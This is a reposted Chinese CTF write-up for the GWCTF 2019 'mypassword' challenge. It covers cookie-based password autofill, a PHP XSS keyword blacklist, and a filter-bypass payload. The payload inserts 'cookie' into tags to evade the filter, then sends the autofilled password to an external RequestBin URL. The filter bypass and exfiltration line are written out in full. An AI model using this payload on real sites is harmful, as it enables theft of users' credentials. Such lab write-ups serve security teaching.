#题目:
三个界面,注册界面源代码毛都没有,登录界面源代码里面有东西
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
#意思很明确,就是用户名和密码都写入了表单
#下面我们注册一下
登录进去之后,出现feedback界面
点进去看一下
发现源码里有文章
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_',''','&','\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
显而易见给过滤了不少东西,由于我们已经知道login.js有记录密码的功能。
这时候就要介绍我们的
http://http.requestbin.buuoj.cn
网址,(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)
构造POC就很简单了
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/y6b4uwy6/?a="+psw;
</scrcookieipt>
提交成功之后去BIN里面看一下
原文来自CSDN博主「浩歌已行」|侵删
![[GWCTF 2019]mypassword-解题步骤详解 [GWCTF 2019]mypassword-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/3-1650613522.png)
![[GWCTF 2019]mypassword-解题步骤详解 [GWCTF 2019]mypassword-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/1-1650613523.png)
原文始发于微信公众号(寰宇卫士):[GWCTF 2019]mypassword-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论